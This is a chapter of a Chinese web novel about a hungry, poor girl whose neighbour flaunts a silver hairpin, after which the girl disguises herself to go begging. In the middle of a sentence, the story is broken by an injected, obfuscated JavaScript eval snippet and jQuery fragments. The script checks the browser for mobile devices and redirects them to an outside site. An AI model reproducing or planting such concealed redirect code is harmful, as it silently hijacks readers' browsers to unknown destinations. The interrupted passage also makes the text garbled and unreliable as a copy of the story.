陈杏儿盘腿坐在那张只要一动就会“吱呀”乱叫的破木床上,面前摊着十个手指头。
不论她怎么数,手指头就十个。
可是要花的钱,哪怕手脚并用都数不过来。
屋顶的瓦片裂了三块,一下雨就往屋里灌水,得补;灶房里的柴火只剩下最后两根,顶多够烧一壶热水,得买;还有那一月一次的洒扫费、水井公摊费、坊门的修缮费……
陈杏儿愁得把脸埋进膝盖里,肚子适时地发出了一声悠长的“咕——”。
那声音在空荡荡的屋子里回响,听着颇为凄凉。
家里放钱的那个陶罐子,现在比她的脸还干净。
两贯钱。
只要两贯钱,就能把这些窟窿都堵上,还能剩点钱买两块猪油渣解解馋。
可现在别说两贯,就是两个铜板,她都得把这破屋掘地三尺才能找出来。
“娘怎么还不回来啊……”
陈杏儿又叹了口气,脑袋在膝盖上蹭了蹭,把原本就乱蓬蓬的头发蹭得更像个鸡窝。
娘亲前儿就出门了,说是上门给人做饭,娘亲还是头一次出去这么长时间不回来呢。
往常就算是晚上不回来,也会托人给自己带个信儿还有银子回来呢。
娘亲不会是出事儿了吧!
正发愁着,那扇半掩着的破木门被人“砰”的一声推开了。
陈杏儿没抬头,光听那脚步声就知道是谁。
走路带风,脚后跟还得在地上跺两下,生怕蚂蚁踩不死。
隔壁吴屠户家的闺女,吴阿桃。
“杏儿!陈杏儿!”
吴阿桃的声音脆生生的,带着一股子掩饰不住的得意劲儿。
陈杏儿慢吞吞地抬起头,有气无力地看了她一眼。
十二三岁的小娘子,穿了一身半新的桃红袄子,脸上涂了点不知什么牌子的胭脂,红得像两个猴屁股,但在此时的灰暗屋子里,确实鲜亮得扎眼。
吴阿桃几步窜到床前,脑袋晃得像个拨浪鼓,发髻上那个银亮亮的东西也跟着乱颤。
“你看这是什么?”
吴阿桃把脑袋凑到陈杏儿鼻子底下,那股子廉价的脂粉味差点把陈杏儿呛个跟头。
陈杏儿往后仰了仰,定睛一看。
是一根银钗子。
顶端做成了梅花的样式,虽然花瓣刻得有点粗糙,有的地方还留着打磨不平的毛刺,但在昏暗的光线下,那是实打实的银子啊。
闪闪发光。
是钱的味道。
陈杏儿的眼睛瞬间直了,喉咙不自觉地滚动了一下。
倒不是想戴,是想拿去当铺换成烧饼。
这得换多少个烧饼啊?能把这屋子堆满吧?
“好看吧?”吴阿桃得意洋洋地伸手摸了摸那钗子,下巴抬得高高的,“我娘昨儿个去庙会给我买的,说是只有这一支,花了好几贯银子呢!我都说不要了,太贵重,可我娘非说我长大了,得有个像样的首饰压箱底。”
她一边说,一边用余光去瞟陈杏儿。
陈杏儿身上那件灰扑扑的旧袄子,袖口都磨得发白起毛了,上面还打着两个补丁,虽然针脚细密,但补丁就是补丁。
吴阿桃心里那个舒坦啊,就像是大热天喝了一碗冰镇酸梅汤。
平时街坊邻居总夸陈杏儿长得灵气漂亮,说她虽然穿得破烂,但那双眼睛水汪汪的,招人疼。
吴阿桃最烦听这话。
灵气能当饭吃?长得好看能变出银钗子来?
现在看看,还是自己强。
陈杏儿确实羡慕。
她羡慕得眼珠子都快黏在那钗子上了。
她今年也十二了,别说银钗子,就是木头簪子也是娘亲自己削的。
女孩子哪有不爱俏的?
要是能把这钗子插在头上,然后在坊间走一圈,那些平时笑话她家穷的小崽子们,肯定都得闭嘴。
“好看。”陈杏儿诚实地点点头,声音软软的,“特别亮。”
吴阿桃更得意了,伸手把钗子拔下来,在手里转着圈显摆:“那是,这可是足银的!也就是我娘舍得,换了别人家,哪舍得给丫头片子买这个。”
这话里有话,陈杏儿听出来了。
若是往常,陈杏儿肯定要回敬几句,比如“你这钗子花瓣都歪了,怕是次品吧”,或者“银子太软,小心别折了”。
但今天不行。
没吃早饭,也没吃午饭。
她现在饿得头晕眼花,连翻白眼的力气都要省着点用。
“真好。”陈杏儿敷衍了一句,手捂着肚子,身子顺势往床里面的草席上一倒,“阿桃,你钗子也看了,若是没别的事,就回吧。我要睡觉。”
睡着了就不饿了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378336|200137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
这是陈杏儿多年总结出来的生存智慧。
吴阿桃脸上的笑容僵了一下。
她准备了一肚子的话,比如这钗子怎么配衣服,怎么在阳光下反光,怎么让隔壁街的小郎君看直了眼……
结果陈杏儿这个死丫头,居然要睡觉?
这就像是一拳打在了棉花上,软绵绵的没个回响。
“你这人真没劲!”吴阿桃跺了跺脚,把钗子胡乱插回发髻上,“就知道睡睡睡,猪投胎啊你!活该你家穷!”
骂完,她转身气呼呼地走了。
门又被“砰”的一声甩上,震得屋顶又掉下一块泥皮,正好砸在陈杏儿的脑门上。
陈杏儿摸了摸脑门,把泥皮扔掉,也没生气。
穷是事实,人家没说错。
她在床上躺了一会儿,试图用毅力战胜饥饿。
但肚子里的那个小怪兽显然不打算放过她,叫唤得越来越欢实,仿佛在肚皮里打鼓唱戏。
不行,再躺下去,娘还没回来,她就要先饿死在床上了。
陈杏儿猛地坐起来,眼睛里冒着绿光。
她在屋里转了一圈。
米缸?空的,连老鼠来了都得含着眼泪走。
灶台?冷的,昨晚剩下的半碗刷锅水早倒了。
柜子?除了两件破衣裳,啥也没有。
陈杏儿最后把视线落在那个空陶罐上,咬了咬牙。
这世道,脸皮薄吃不着,脸皮厚吃个够。
她陈杏儿虽然年纪小,但也知道活人不能让尿憋死,更不能让饿死。
不就是讨饭吗?
戏文里那些大将军落魄的时候还讨过饭呢!这叫……这叫潜龙在渊!
陈杏儿给自己打完气,从床底下翻出一个缺了个口的破碗。
她想了想,又走到水缸边,照着水面看了看。
小脸白净,头发虽然乱但还算顺滑。
不行,这样太体面,不像是个惨的。
她伸手在灶膛里抹了一把黑灰,在那张白嫩的小脸上胡乱抹了几道,又把头发抓得更乱了些,甚至还扯了扯衣领,让那两个补丁露得更明显。
完美。
陈杏儿看着水里的倒影,满意地点点头。
这就很有小叫花子的风采了。
她把破碗往怀里一揣,雄赳赳气昂昂地出了门。